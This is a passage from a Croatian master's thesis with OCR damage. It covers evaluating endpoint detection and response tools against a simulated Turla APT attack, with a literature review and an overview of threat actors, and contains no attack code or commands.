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EVALUACIJA RIJESENJA ZA ZASTITU KRAJNJIH UREDAJA OD
KIBERNETICKIH UGROZA U POSLOVNOM OKRUZENJU

SAZETAK

Unato¢ napretku u razvoju sigurnosnih rjesenja, kiberneticke prijetnje usmjerene na krajnje
uredaje 1 dalje predstavljaju ozbiljan izazov za organizacije. Ovaj diplomski rad bavi se
evaluacijom rjeSenja za zastitu krajnjih uredaja, s naglaskom na sustave za detekciju i odgovor
na prijetnje. Koristenjem MITRE ATT&CK okvira, simuliran je napad napredne ustrajne
prijetnje grupe Turla, primjenom jedanaest razlicitih taktika. Provedene simulacije omogucile
su procjenu uc¢inkovitosti sigurnosnih sustava u detekciji i odgovoru na sofisticirane napade.
Dobiveni rezultati ukazuju na snage i slabosti postoje¢ih sigurnosnih sustava te naglasavaju
potrebu za njihovim kontinuiranim razvojem. Zaklju¢ci rada isticu vaznost integracije

naprednih metoda analize ponasanja i strojnog ucenja u sustave za kiberneticku sigurnost.

KLJUCNE RIJECI: Kiberneti¢ka sigurnost; Simulacija napada; sustavi za detekciju i odgovor
na prijetnje; MITRE ATT&CK; Poslovno okruZenje

SUMMARY

Despite advancements in security solutions, cyber threats targeting endpoints continue to pose
a significant challenge for organizations. This thesis focuses on the evaluation of endpoint
protection solutions, with an emphasis on Endpoint Detection and Response systems. Using the
MITRE ATT&CK framework, an attack by the Advanced Persistent Threat group Turla was
simulated, utilizing twelve different tactics. The simulations provided insights into the
effectiveness of security systems in detecting and responding to sophisticated attacks. The
results highlight the strengths and weaknesses of current security solutions and underscore the
need for their continuous development. The conclusions emphasize the importance of
integrating advanced behavioural analysis methods and machine learning into cybersecurity

systems.

KEY WORDS: Cybersecurity, Attack simulation, Endpoint Detection and Response; MITRE
ATT&CK; Enterprise environment
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1. Uvod

Rast digitalnih tehnologija i sve veca upotreba pametnih uredaja u svakodnevnom i poslovnom
okruzenju omogucili su brzu komunikaciju, obradu podataka te digitalizaciju poslovanja. lako
razvoj tehnologije znatno poboljsava efikasnost organizacija, ono takoder otvora put novim
vrstama prijetnji kao S$to su kiberneticki napadi. S obzirom na sve vecu ovisnost o
informacijsko-komunikacijskim sustavima, organizacije se suofavaju sa rastu¢im brojem

slozenih napada koji ciljaju njihovu infrastrukturu.

Napadi na krajnje uredaje poput racunala, pametnih telefona i posluzitelja postaju sve
napredniji. Zlonamjerni akteri pronalaze nove nacine za kradu podataka, naruSavanje sigurnosti
ili blokiranje pristupa vaznim poslovnim sustavima. Tradicionalni sigurnosni sustavi, koji
ugroze prepoznaju prema njihovom potpisu sve teze omogucuju davati adekvatan odgovor na
novonastale prijetnje. Stoga je primjena naprednih sigurnosnih rjeSenja koja evoluiraju i prate

trend stalno rastucih kiberneti¢kih ugroza klju¢na za ocuvanje integriteta poslovnih okruzenja.

Cilj ovog rada je evaluirati neka od trenutno dostupnih rjesenja za zastitu krajnjih uredaja u
poslovnom okruzenju, s naglaskom na detekciju i odgovor na prijetnje. Analizirati ¢ée se
mogucnosti zaStite 1 detekcije od sofisticiranih kibernetickih napada. Za potrebe analize
koriSteni su podaci dobiveni simulacijom kibernetickih napada u kontroliranom okruZenju, uz
koriStenje alata 1 platformi za simulaciju ugroza i metodologija kao $to je MITRE ATT&CK

okvir.
Ovaj diplomski rad podijeljen je u Sest cjelina:

Uvod

Pregled dosadasnjih istrazivanja

Kiberneticke prijetnje u poslovnom okruzenju
Simulacija kibernetickih prijetn;ji

Sinteza rezultata i evaluacija ispitanih rjeSenja

Zakljucak

o o~ w -

Drugo poglavlje rada donosi pregled dosadasnjih istrazivanja vezanih uz primjenu i mogucénosti
tehnologija zaStite krajnjih uredaja. Navedena istraZivanja obraduju metode detekcije prijetnji
te evaluaciju ucinkovitosti sustava kod prepoznavanja kibernetickih ugroza. Takoder
analiziraju razlike izmedu tradicionalnih sustava temeljenih na detekciji potpisa te naprednih

rjesenja koja koriste analizu ponaSanja i strojno ucenje za identifikaciju prijetnji.



Istrazivanja su pokazala slabosti tradicionalnih sigurnosnih rjeSenja, narocito kod napada koji
iskoristavaju zero-day ranjivosti ili koriste napredne tehnike malicioznih programa. S druge
strane, moderni sustavi usmjereni na prepoznavanje anomalija i primjenu heuristickih modela

pokazali su se znatno uéinkovitijima prilikom detekcije sofisticiranih napada.

Tre¢im poglavljem rada objaSnjena su i detaljno opisana obiljezja kibernetiCkih prijetnji
usmjerenih na krajnje uredaje u poslovnom okruzenju. Analizirana je klasifikacija prijetnji s
fokusom na izvore prijetnji, ranjivosti sustava i metode napada. Prijetnje su podijeljene na one
uzrokovane tehnickim ranjivostima, ljudskim pogreSkama te automatiziranim napadima

provodanih od strane zlonamjernih korisnika.

Poglavlje obuhvaca klasifikaciju razli¢itih metoda napada, ukljucujuci zlonamjerne programe,
socijalni inzenjering, napade uskracivanja usluge te napade koriStenjem zero-day ranjivosti.
Takoder, detaljno su opisane tehnike naprednih napada poput Man-in-the-Middle i napada
koristenjem rje¢nika. Kroz ovu analizu prikazana je kompleksnost suvremenih prijetnji te su

istaknute klju¢ne ranjivosti koje napadaci iskoristavaju s ciljem kompromitacije sustava.

Cetvrtim poglavljem rada prikazana je simulacija kibernetickog napada temeljenog na
svojstvima Turla napredne ustrajne prijetnje. Ova simulacija obuhvatila je koriStenje jedanaest
taktika napada s ciljem evaluacije ucinkovitosti sustava za detekciju i odgovor na prijetnje.
MITRE ATT&CK okvir koriSten je u svrhu vjerne replikacije stvarno koriStenih taktika 1
tehnika zlonamjernih aktera.

Napad je proveden pomocu alata za simulaciju prijetnji, pri ¢emu su simulirane taktike
ukljucivale tehnike kao Sto su eskalacija privilegija, lateralno kretanje unutar mreze te
eksfiltracija podataka. KoriStene tehnike osmiSljene su s ciljem testiranja Sposobnosti
sigurnosnih sustava da prepoznaju i odgovore na razliCite faze napada naprednih ustrajnih
prijetnji.

Peto poglavlje rada donosi sintezu rezultata simuliranih napada, provedenih kroz jedanaest

razli¢itih taktika. Kroz ovu evaluaciju dobiveni su vrijedni uvidi u djelotvornost sustava za

zaStitu krajnjih uredaja i njihovu sposobnost detekcije naprednih prijetnji.

Na kraju rada, u Sestom poglavlju, iznesen je jedinstven zaklju€ak temeljen na provedenom

istrazivanju i simulaciji.



2. Pregled dosadasnjih istraZivanja
Prema javno dostupnim statistikama 1 stru¢nim izvjestajima vidljiv je porast kibernetickih
prijetnji koje iskoriStavaju i zaobilaze platforme za zastitu krajnjih uredaja. Interpretacijom tih
izvora zakljuCuje se kako postoji potreba za adresiranjem sve CeSc¢ih ranjivosti koje se
pojavljuju u samim izvr$nim aplikacijama takvih sustava te istrazivanjem i definiranjem novih

metoda zastite informacijsko-komunikacijskih sustava u poslovnim okruzenjima.

U radu iz 2021. godine [1], autori istrazuju aktualne kiberneticke prijetnje koje sve ¢esce ciljaju
moderne organizacije. Kroz analizu se ukazuje na sve veci broj napada koji zaobilaze
standardne sigurnosne sustave, naruSavaju rad kljuénih infrastruktura i ugrozavaju povjerljive
podatke. Autori zakljucuju da tradicionalni sigurnosni mehanizmi, poput platformi za zastitu
krajnjih uredaja (engl. Endpoint Protection Platform, EPP), vise nisu dovoljni za obranu od
sofisticiranih napada. Kroz detaljnu analizu dolaze do zaklju¢ka da je potrebno uvesti napredne
sigurnosne mjere koje bi nadopunile postojece sustave, s naglaskom na ograni¢enja trenutno

koristenih metoda detekcije prijetnji bazirane na potpisima.

Istrazivanjem je pruzen detaljan pregled rjeSenja za detekciju i odgovor na prijetnje krajnjim
uredajima (engl. Endpoint Detection and Response, EDR). Prikazan je njihov razvoj i evolucija
do naprednih platformi za detekciju i reagiranje na ugroze koje se danas koriste u poslovnim
okruzenjima. Takoder, autori kroz ovaj znanstveni rad pruzaju uvid u arhitektonske
komponente EDR sustava, koje ukljuuju agente za prikupljanje podataka, platformu za
centraliziranu analizu te integrirane mehanizme za odgovor na incidente. Uz analizu sustava i
njegove arhitekture, dodatno se objasnjava i istrazuje moguénost iskoriStavanja EDR sustava u
ekosustavu kiberneti¢ke sigurnosti, u vidu integracije s drugim sigurnosnim alatima 1 stvaranja

jedinstvenog sigurnosnog sustava.

Prilikom usporedbe EPP i EDR rjeSenja, autori evaluiraju metode koristene za identifikaciju i
mitigaciju prijetnji. Provedenom evaluacijom autori iznose opazanja koja ukazuju na
nedostatke rjeSenja detekcije baziranih na potpisima kod tradicionalnih EPP sustava te podupiru
prednosti sustava baziranih na analizi ponaSanja sustava 1 metodama strojnog ucenja kod
danasnjih EDR sustava. Evaluaciju autori obraduju kroz dubinsku analizu razliitih
zlonamjernih programa te pojasnjavaju nacine na koje EDR rjesenja koriste napredne tehnike,
kao Sto su pronalazak anomalija, heuristicke analize i1 integracija s javnim izvorima podataka o
prijetnjama (engl. Threat Intelligence, TI) s ciljem detekcije i odgovora na prijetnje u realnom

vremenu. Kao zakljucak istrazivanja, autori prikazuju efikasnost rjeSenja kroz prezentiranje



studija slu¢aja i empirijskih podataka, ¢ime pruzaju temelje za razumijevanje moguénosti EDR

sustava u borbi protiv modernih kibernetickih prijetnji.

Studijom [2] je prezentirana metodi¢na evaluacija odrzivosti besplatnog EDR rjeSenja
otvorenog koda. Osnovni cilj ovog istrazivanja je utvrditi mogu li alati otvorenog koda pruziti
zadovoljavajucu razinu preglednosti na krajnjim uredajima, kao i mogucnosti detekcije prijetn;ji
u usporedbi s komercijalnim alatima za zaStitu krajnjih uredaja. Autor kao razlog provodenja
ove studije navodi sve ¢eS¢u pojavu sloZzenih kibernetickih prijetnji koje dovode tradicionalne
alate za zaStitu krajnjih uredaja do njihovih granica. Istrazivanjem je potkrijepljena teza da
zastarjela EPP rjeSenja kao primarnu tehnologiju prepoznavanja prijetnji koriste metode
bazirane na potpisu, koje u suvremenoj informacijsko komunikacijskog infrastrukturi
organizacije ne uspijevaju prepoznati sofisticirane napade. Autor kao komplementarnu zamjenu
za tradicionalne alate za zastitu predlaze koriStenje naprednih EDR rjeSenja, a fokusiranjem
studije na alate otvorenog koda prikazuje mogucnost koristenja naprednih alata ¢ak i u

okruzenjima s ogranic¢enim financijskim sredstvima.

S obzirom na to da je svrha ovog rada prikazati moguénosti alata otvorenog koda, potrebno je
definirati parametre prema kojima ¢e se provoditi evaluacija. Autor u empirijskoj studiji
provedenoj u kontroliranom sigurnosnom okruzenju koristi priznati radni okvir Atomic Red
Team, kojim simulira razli¢ite scenarije kibernetickih napada. KoriSteni scenariji temelje se na
MITRE ATT&CK (engl. MITRE Adversarial Tactics, Techniques, and Common Knowledge)
radnom okviru za anatomiju kiberneti¢kih prijetnji te pokrivaju Cetrnaest taktika zlonamjernih
korisnika kojima se opisuju faze samog napada. Scenariji su definirani tako da sadrze to¢no
propisane tehnike pomocu kojih se omogucuje pracenje i ocjenjivanje sposobnosti alata da

detektira prijetnje.

Provedenim testiranjima dobiveni su rezultati koji jasno prikazuju sposobnosti alata da pruzi
sveobuhvatan uvid u stanje sustava krajnjeg uredaja i detekciju sofisticiranih prijetnji. Takoder,
autor pomoc¢u dobivenih rezultata pokazuje ogranicenja koristenog rjeSenja. Osim provedenog
istrazivanja, ovom studijom zeli se potaknuti diskusija i razvoj sustava koji omogucuju analizu
podataka generiranih od strane alata kako bi se unaprijedio proces integracije sa sustavima
centraliziranog prikupljanja zapisa. Zaklju¢kom provedenog empirijskog istrazivanja dokazana
je relevantnost i primjenjivost studije, a takoder je ponovno potvrdeno da je koristenje
naprednih sustava za obranu od sofisticiranih kibernetickih prijetnji dostupno Sirokom spektru

organizacija.



Autori u radu [3] pruzaju iscrpnu studiju evaluacije performansi EDR sustava otvorenog koda,
temeljenog na platformama Google Rapid Response i Osquery. Provedenim istrazivanjem
ukazuje se na potrebu izrade i KoriStenja detekcijskih tehnologija baziranih na praéenju
obrazaca ponaSanja. Takoder se iznosi misSljenje o nedostacima i1 ogranicenjima postojecih
sustava, osobito sigurnosnih rjeSenja zatvorenog koda, koja su tesko prilagodljiva specificnim

okruzenjima pojedinih organizacija.

Znanstveni rad temelji se na Google Rapid Response platformi, koja predstavlja radni okvir za
provodenje digitalne forenzike u stvarnom vremenu udaljenim pristupom. Spomenuta
platforma integrirana je s Osquery instrumentacijskim okvirom za operativne sustave, Koji
pruza informacije o sustavu putem tablica strukturiranog upitnog jezika (engl. Structured Query
Language, SQL). Sinergija dviju platformi tvori osnovu predloZenog EDR sustava. Provedenim
istrazivanjem pruzene su metodicne informacije o nac¢inima integracije navedenih sustava te je

prikazana skalabilnost i fleksibilnost kreiranja i konfiguriranja sustava.

Kako bi dokazali funkcionalnosti otkrivanja i odgovora na prijetnje predlozenog rjeSenja, autori
sustav podvrgavaju nizu testova koji simuliraju ponasanje naprednih ustrajnih prijetnji.
Koristeni eksperimentalni scenariji temelje se na MITRE ATT&CK radnom okviru pomocu
kojeg su prikazani razli¢ite faze napada. Nakon provedenih testiranja i dobivenih rezultata,
utvrdeno je da predlozeno rjeSenje pruza djelotvornu zastitu u vecini scenarija kibernetickih
napada, no isto tako prikazana je fluktuacija u pokrivenosti prepoznavanja prijetnji kroz
razliCite segmente napada. Autori kroz istrazivanje prikazuju podrucja u kojima predlozeno
rjeSenje ima slabiju sposobnost otkrivanja prijetnji, a to je najvise vidljivo u fazama napada
inicijalnog pristupa i bo¢nog kretanja kroz mrezu. Kao moguénost unaprjedenja sustava, dana

je preporuka izrade specifi¢nih pravila prilagodenih pojedinim korisnickim okruZenjima.

Studijom [4] je pruzena analiza strategija zaStite krajnjih uredaja s naglaskom na njihovu
moguénost odgovora na napade prouzro¢ene unutarnjim prijetnjama. IstraZivanjem autori
adresiraju jaz u sigurnosnim rjeSenjima koja ne uspijevaju pruziti adekvatnu zastitu od prijetn;ji
koje nastaju unutar poslovnog okruzenja. Kao okosnica ovog istrazivanja koriStena je
usporedba dviju kljuénih sigurnosnih komponenti. EPP rjeSenja predstavljena su kao sustavi
zastarjelog pristupa, koji za otkrivanje prijetnji koriste mehanizme bazirane na potpisu. Takvi
mehanizmi oslanjaju se na azuriranu bazu potpisa zlonamjernih programa kojom otkrivaju
prijetnje u sustavu te poduzimaju aktivnosti u cilju neutralizacije kiberneti¢kog napada. Studija
takoder identificira znaCajna ograniCenja takvih sustava, osobito nemogucnost prilagodbe
ubrzano rastucoj prirodi malicioznih programa. Osim ve¢ spomenutih ograni¢enja, autori
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navode kako su EPP rjeSenja ranjiva na zero-day ranjivosti i zlonamjerne programe koji se u
potpunosti izvr$avaju u memoriji raunala (engl. Fileless malware). Dodatno, efektivnost ovih
rjeSenja umanjena je i zbog nemogucénosti adekvatnog odgovora na prijetnje koje potjecu iz

mreze same organizacije.

Autori drugu kljuénu sigurnosnu komponentu, EDR rjeSenja predstavljaju kao napredne sustave
koji se temelje na dinamickoj analizi krajnjih uredaja. Takvi sustavi zamisljeni da kontinuirano
prate stanje krajnjih uredaja upotrebom analize obrazaca ponasanja, indikatora kompromitacije
1 strojnog ucenja u svrhu otkrivanja anomalija koje upucuju na postojanje kiberneticke ugroze
unutar poslovnog okruzenja. Pomoc¢u takvog proaktivnog nacina rada, EDR sustavi imaju
moguénost otkrivanja prijetnji u realnom vremenu, sto predstavlja dodatnu vrijednost u borbi
protiv sofisticiranih unutarnjih prijetnji 1 kibernetickih napada koji ne koriste uobicajene

obrasce zlonamjernih programa.

Kako bi istrazivanje pruzilo kvantificirane podatke, autori definiraju model pomocu kojeg
evaluiraju EPP 1 EDR rjeSenja u odnosu na razliite parametre, ukljucujuéi preciznost
prepoznavanja prijetnje, potrosSnju resursa te opce opterecenje sustava. Navedenim modelom
prikazana je detaljna analiza funkcionalnosti koja jasno razdvaja EDR i EPP rjeSenja.
Dobivenim podacima autori pokazuju kako EPP rjeSenja jo§ uvijek imaju znacajnu ulogu u
sustavima s dobro poznatim prijetnjama, dok se EDR rjesenja moraju dodatno usavrsavati zbog
kompleksnijeg nacina rada i integracije u postojece sustave, kao i zbog mogucnosti pojave

visoke stope lazno pozitivnih detekcija koje mogu dovesti do previda ugroze.

Radom [5] je obradena tema istrazivanja mogucénosti i ograni¢enja modernih EDR sustava u
detekciji i odgovoru na napade naprednih ustrajnih prijetnji. Autori su provedenim
istrazivanjima identificirali kriticne toCke trenutnog stanja kiberneticke sigurnosti, pri ¢emu,
unato¢ napretku u razvoju tehnologija za zastitu krajnjih uredaja, ve¢ina organizacija i dalje
ostaje ranjiva na napade ustrajnih prijetnji. Kako bi pruZili preporuke za daljnji razvoj
sigurnosnih alata i procedura, autori provode empirijsku evaluaciju kojom se dobiva uvid u to
koliko moderni EDR alati uspijevaju zastititi organizacije od sve sofisticiranijih prijetnji, dok

se istodobno transparentno ukazuje na slabosti i ograni¢enja samih sustava.

Evaluacija EDR rjeSenja provedena je simulacijama razlicitih vektora napada kojima se, osim
testiranja mogucnosti sustava, prikazuje slozenost aktualnih napada naprednih ustrajnih
prijetnji. lako postoji mnostvo vektora napada, autori su se odlucili koristiti Cetiri najcesca:

napade temeljene na datotekama upravljacke ploce (engl. Control Panel Applet - CPL), HTML



aplikacijama (engl. HTML application - HTA), bo¢nom ucitavanju DLL datoteka (engl.
Dynamic-Link Library side-loading) te izvrSnim datotekama koje iskori$tavaju injektiranje

procesa (engl. Process injection executables).

Istrazivanjem su otkrivene znacajne razlike u performansama ispitivanih EDR rjeSenja. Neka
su uspjela prepoznati i blokirati specificne vektore napada, dok su druga pokazala slabosti,
posebno kod detekcije slozenijih prijetnji. Primijec¢eno je da odredeni sustavi nisu detektirali
napade koji se izvrSavaju u memoriji, kao ni tehnike injektiranja procesa koje zaobilaze
standardne sigurnosne mjere. Osim toga, poteskoce su se pojavile kod telemetrije i sustava za
alarmiranje. U nekim okolnostima napadi nisu bili zabiljeZeni, $to dovodi do izostanka reakcije
na ugrozu. Istrazivanje naglaSava potrebu za poboljSanjem telemetrijskih mehanizama i jaCom

integracijom s ostalim sigurnosnim sustavima.



3. Kiberneticke prijetnje u poslovnom okruZenju

Kiberneti¢ke prijetnje u poslovnom okruzenju predstavljaju ozbiljan izazov za suvremene
organizacije koje se sve viSe oslanjaju na digitalne tehnologije u svom svakodnevnom
poslovanju. Kiberneti¢ka sigurnost, kao podrucje koje objedinjuje tehnologije, procese i prakse
s ciljem zastite informacijskih sustava i osjetljivih podataka, usmjerena je na sprjecavanje
prijetnji koje bi mogle ugroziti povjerljivost, cjelovitost i dostupnost informacija. U poslovnom
kontekstu, u¢inkovitost kiberneticke sigurnosti ovisi 0 sposobnosti organizacije da prepozna,

analizira i odgovori na prijetnje koje dolaze iz razlicitih izvora, [6].

Za postizanje ucinkovite kiberneticke sigurnosti potreban je sveobuhvatan pristup koji
ukljuCuje ne samo tehni¢ka rjeSenja, ve¢ i kontinuiranu edukaciju zaposlenika, izradu
sigurnosnih politika te implementaciju kontrola i procedura koje smanjuju rizik od incidenata.
Uz to, organizacije trebaju uspostaviti mehanizme za pravovremeno otkrivanje i odgovor na
sigurnosne incidente, kao i planove za oporavak kako bi osigurale kontinuitet poslovanja u
slu¢aju ozbiljnog sigurnosnog dogadaja. Razumijevanje prirode i izvora prijetnji klju¢no je za

izgradnju otpornog sigurnosnog okruzenja koje moze ucinkovito zastititi poslovne interese, [7].

3.1. lzvori prijetnji

Izvori prijetnji u kibernetickom okruzenju poslovanja raznoliki su i obuhvacaju ljudske,
prirodne Cimbenike te tehnoloSke slabosti. Prijetnja, u kontekstu informacijske sigurnosti,
oznacava potencijalnu opasnost koja moze narusiti povjerljivost, cjelovitost ili dostupnost
informacija 1 informacijskih sustava. Takve prijetnje ne djeluju u vakuumu; one su obi¢no
rezultat djelovanja specifi¢nih uzro¢nika (engl. Threat agents), koji mogu biti namjerni ili

nenamjerni, unutarnji ili vanjski, [8].

U poslovnom okruZenju prijetnje mogu proizaci iz razlicitih izvora, ukljucujuéi zaposlenike,
hakere, zlonamjerni softver, fizicke nesreée ili prirodne katastrofe. Ljudske prijetnje Cesto se
dijele na nenamjerne, koje proizlaze iz ljudske pogreske ili nepaznje, i namjerne, koje ukljucuju
zlonamjerne radnje usmjerene na nanoSenje Stete. Prirodne prijetnje, iako izvan kontrole
organizacije, mogu imati ozbiljan utjecaj na poslovanje, osobito ako se ne uzmu u obzir pri
planiranju kontinuiteta poslovanja. Takoder, tehnoloSke ranjivosti, koje proizlaze iz slabosti u
dizajnu softvera, hardvera ili mrezne infrastrukture, Cesto se iskoriStavaju za provodenje

napada, [9].



Razumijevanje razli€itih izvora prijetnji klju¢no je za razvoj ucinkovitih strategija zastite koje
kombiniraju tehnicka rjeSenja, proceduralne mjere 1 edukaciju zaposlenika. Takav
sveobuhvatan pristup omogucava organizacijama da proaktivno upravljaju rizicima i

minimiziraju potencijalne Stete od kibernetickih napada.

3.1.1. Ljudske prijetnje s atribucijom nenamjernosti
Razvoj informacijsko-komunikacijskih tehnologija, osim svojih benefita za pojedince i
organizacije, donosi i negativne aspekte u vidu povecane ranjivosti korisnika sustava na
kiberneticke prijetnje. lako svaka tehnologija ima odredene mehanizme zastite od
iskoriStavanja potencijalnih ranjivosti, klju¢nu ulogu u sigurnosti koristenog sustava ima krajnji

korisnik, odnosno njegovo ponasanje prilikom koristenja tehnologije, [10].

Ljudski faktor, odnosno greska korisnika u kontekstu kiberneticke sigurnosti odnosi se na
nenamjerne radnje, nemar i previd prilikom donosenja odluka u radu. IskoriStavanjem tih
ranjivosti krajnjeg korisnika, napada¢i mogu izvrsiti kiberneti¢ke napade koji mogu rezultirati

curenjem povjerljivih informacija i kompromitacijom samog sustava, [11].
3.1.2. Ljudske prijetnje s atribucijom namjernosti

Prema javno dostupnim statistikama, vecina kibernetickih napada na poslovna okruzenja
provedena su od strane malicioznih aktera. Kako bi se definirale skupine zlonamjernih aktera,
potrebno je objasniti pojam atribucije u podrucju informacijske sigurnosti. Atribucija
predstavlja skup tehnic¢kih metoda ¢iji je cilj identifikacija poc€initelja kibernetickog napada.
Takoder cilj atribucije je pruziti informacije o motivima i ciljevima koje pojedine skupine
aktera nastoje posti¢i, [12],[13].

U nastavku ovog rada, ljudske prijetnje s atribucijom namjernosti, odnosno maliciozni akteri,

bit ¢e podijeljeni na: interne napadace, poslovne partnere, nacionalne vlade, kriminalne
organizacije, haktiviste te script kiddies, [14].

3.1.2.1.  Interni napadaci
Interni napadaci, odnosno unutarnje prijetnje predstavljaju slozeni rizik za sve sektore kriticne
infrastrukture. Prema agenciji za kiberneticku sigurnost i sigurnost americke infrastrukture
(engl. Cybersecurity and Infrastructure Security Agency, CISA) interni napadaci definiraju se
kao insajderi koji koriste dobivenu razinu pristupa kako bi proveli maliciozne aktivnosti unutar

infrastrukture organizacije, [15].

Unutarnje prijetnje kao i veéina ostalih skupina napadac¢a ovisi o razini pristupa kojeg ostvaruju

u sustavu, ali u odnosu na njih svoje prednosti povlace iz dubinskog poznavanja sustava i
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poslovnih procesa. Poznavanjem poslovnih procesa i infrastrukturne hijerarhije organizacije,
interni napadaci lako¢om definiraju svoje napade, odnosno maliciozne radnje koje Zele izvrsiti.
Samo izvrSavanje tih aktivnosti esto prolazi neopazeno zbog toga §to se ponasanje malicioznog
zaposlenika tesko moze razlikovati od uobicajenih poslovnih zadataka. Motivacija iza ove vrste
napada, odnosno napadaca moze biti raznolika, od financijske dobiti 1 pruzanja otpora

provodenoj politici do prisile i suradnje s zlonamjernim skupinama, [16].

3.1.2.2. Drzavno sponzorirani napadaci
Drzavno sponzorirani napadaci kao izvor prijetnje infrastrukturi organizacije predstavljaju
skupinu visoko obucenih pojedinaca koji izravno ili neizravno rade za druge drzave kojima je
cilj destabilizacija, narusavanje rada i uniStavanje kriti¢nih sustava. Promatranjem ponaSanja
ovih aktera zakljuéuje se kako im je glavni cilj ostvarivanje postojanosti unutar
kompromitiranog sustava. Ostvarivanjem perzistentnosti napada¢i ostaju neprimijeceni te
koriste¢i dostupnu tehnologiju provode eksfiltraciju informacija 1 pozicioniraju se za
provodenje strateskih napada. Kako bi ostali neopaZzeni od strane sigurnosnih kontrola
organizacije, drzavno sponzorirani akteri kreiraju suptilne digitalne otiske u svrhu skrivanja

pravog izvora prijetnje, [17], [18].

U odnosu na ostale kiberneticke prijetnje, drzano poduprtim akterima glavna svrha je prikupiti
osjetljive informacije kritiénih infrastruktura pomocu kojih stvaraju bolju poziciju u
pregovorima s drugim drzavama, odnosno te informacije koriste kako bi oslabili protivnike u
slucaju ratnog stanja. Takoder ovaj tip kiberneticke prijetnje se razlikuje od ostalih vrsta prema
tome §to se infrastrukture koje se napadaju pomno biraju 1 u najvecoj mjeri su samo dio Sire

slike napada koji odredena drzava provodi, [19].

3.1.2.3.  Napredne ustrajne prijetnje
Napredne ustrajne prijetnje (engl. Advanced Persistent Threats, APT) predstavljaju ekspertnu
skupinu napadaca koja ima visokotehnoloSka rjeSenja pomocu kojih provode zamisljene
aktivnosti razli¢itim vektorima napada. APT skupine uglavnom za cilj imaju uspostavljanje
uporiSta unutar infrastrukture informacijsko-komunikacijskog sustava organizacije s ciljem
eksfiltracije podataka, ometanja rada kriti¢nih sustava te pozicioniranja za izvodenje buduc¢ih

napada, [20].

Za postizanje zadanih ciljeva, skupine svoje napade provode u etapama koje su Cesto razli¢itih

oblika, a model kojim se njihovi napadi opisuju vidljiv je na iducoj slici.
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Slika 1: Model APT napada

Prva faza napada APT skupina je provodenje izvidackih aktivnosti, kojima je svrha prikupljanje
svih dostupnih informacija s dubinskog razumijevanja ponaSanja ciljane infrastrukture.
Uspjesnim izvidanjem i prikupljanjem kriti¢nih informacija, akteri provode iducu etapu napada
kojom ostvaruju inicijalni pristup sustavu u svrhu kreiranja uporista putem kojih ¢e provoditi
daljnje napadacke aktivnosti. Kreiranjem uporiSta unutar targetirane infrastrukture stvorena je
podloga koja se koristi za bo¢no kretanje, odnosno idu¢u fazu samog napada. Bo¢nim kretanjem
APT skupine prvenstveno otkrivaju sustave unutar mreze te mapiraju mogucée ranjivosti i
slabosti tih sustava kako bi ih iskoristili u nastavku zamisljenih malicioznih aktivnosti. Nakon
uspjesnog otkrivanja svih napadacima bitnih resursa, zapocinje iduéi korak napada kojim se
prikupljeni podaci neovlasteno iznose van kompromitirane infrastrukture. ZavrSetkom
eksfiltracije podataka APT skupine zakljucuju inicijalni napad, te dobiveni pristup i steCeno
znanje kompromitirane infrastrukture koriste na nacin da nastavljaju pratiti zivotni ciklus same

organizacije i izvlaciti novootkrivene informacije od interesa [21], [22], [23].

3.1.2.4.  Haktivisti
Haktivisti su pojedinci ili grupe koje koriste svoje znanje o informacijsko komunikacijskim
sustavima kako bi promovirali svoje ideje. Nekada su njihovi postupci i akcije potpuno legalne,
kao Sto je organiziranje online prosvjeda, dok ponekad provode napade, pokusSavajuci skrenuti
paznju na svoja politi¢ka ili drustvena pitanja. Njihovi napadi nisu uvijek usmjereni na stvaranje
Stete, ve¢ na isticanje svojih stavova. Ipak, te aktivnosti mogu uzrokovati ozbiljne probleme

unutar poslovnih okruzenja, jer su rezultati njihovog djelovanja ¢esto nepredvidivi, [24].

3.1.2.5.  Kiberneticki kriminalci
Kiberneticki kriminalci kao izvor prijetnje poslovnom okruzenju definiraju se kao pojedinci ili
skupine aktera koji koriste svoje znanje i tehnologiju kao alat za provodenje malicioznih
aktivnosti u svrhu krade povjerljivih ili osobnih podataka te financijske dobiti. Njihova glavna
karakteristika je uporaba prikrivene mreze (engl. darknet) s ciljem skrivanja tragova i trgovine
podacima i uslugama drugih zlo¢udnih dionika. U odnosu na prijasnje tipove malicioznih aktera

razlikuju se u namjerama prilikom provodenja napada, to jest kiberneticki kriminalci ne biraju
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specifi¢ne ciljeve, ve¢ svoje maliciozne kampanje provode nad velikim brojem korisnika

informacijskih sustava, [25].

3.1.3. Automatizirane probe
Automatizirane probe kao izvor prijetnji poslovnoj infrastrukturi mogu se podijeliti u dvije
skupine. Prva skupina obuhvaca skenere, dok drugu skupinu ¢ine maliciozni kodovi poznati
pod nazivom crvi. Opéenito, automatizirane probe mogu se definirati kao skup specijaliziranih

alata koji pretrazuju ranjivosti na dostupnim mrezama i Internetu opcenito.

Skeneri su Cesto prva skupina automatiziranih alata koji ispituju mreznu infrastrukturu, no
obi¢no ne predstavljaju izravnu prijetnju. Umjesto toga, mogu se smatrati konstantnom
smetnjom u radu sustava. Glavna svrha skenera je analizirati mreZe i aplikacije kako bi otkrili
slabosti koje napadaci mogu iskoriStavati. lako skeneri koji pretrazuju Internet svaki dan nisu
opasni, oni mogu pomo¢i napadac¢ima da prikupe informacije o ciljanom sustavu. Dvije glavne
vrste skenera koji se najceSce koriste u svijetu informacijske sigurnosti su oni za mrezno

mapiranje i oni za otkrivanje ranjivosti.

Vanjski skeneri za mapiranje mreza sustavno istrazuju i prikupljaju informacije iz ciljanih
mreza. Gledano iz perspektive prijetnji informacijskom sustavu organizacije, ova vrsta skenera
napadac¢ima moze pruziti informacije o rasponu koriStenih mreznih adresa, aktivnim uredajima

na mreZi, otvorenim mreZnim portovima i koriStenim servisima.

Skeneri za otkrivanje ranjivosti, kada ih koriste vanjski napadaci, predstavljaju ozbiljnu
prijetnju infrastrukturi ciljane organizacije. Ova vrsta skenera napadad¢ima sluzi kao izvor

informacija o mogu¢im ranjivostima koje se mogu iskoristiti u maliciozne svrhe, [26].

Racunalni crvi takoder se smatraju vrstom automatiziranih probi iz perspektive kiberneticke
sigurnosti zbog svoje sposobnosti replikacije bez potrebe za interakcijom korisnika. Rac¢unalni
crvi §ire se mreZzom neovisno, s ciljem pretraZivanja infrastruktura kako bi pronasli 1 iskoristili
ranjive sustave. Pocetni korak kibernetickih napada, odnosno izvidanje, provodi se mapiranjem
mrezne arhitekture i identifikacijom potencijalnih meta unutar infrastrukture. Autonomna
replikacija crva omogucuje im brzo i lako Sirenje mreZom, s ciljem inficiranja Sto veceg broja
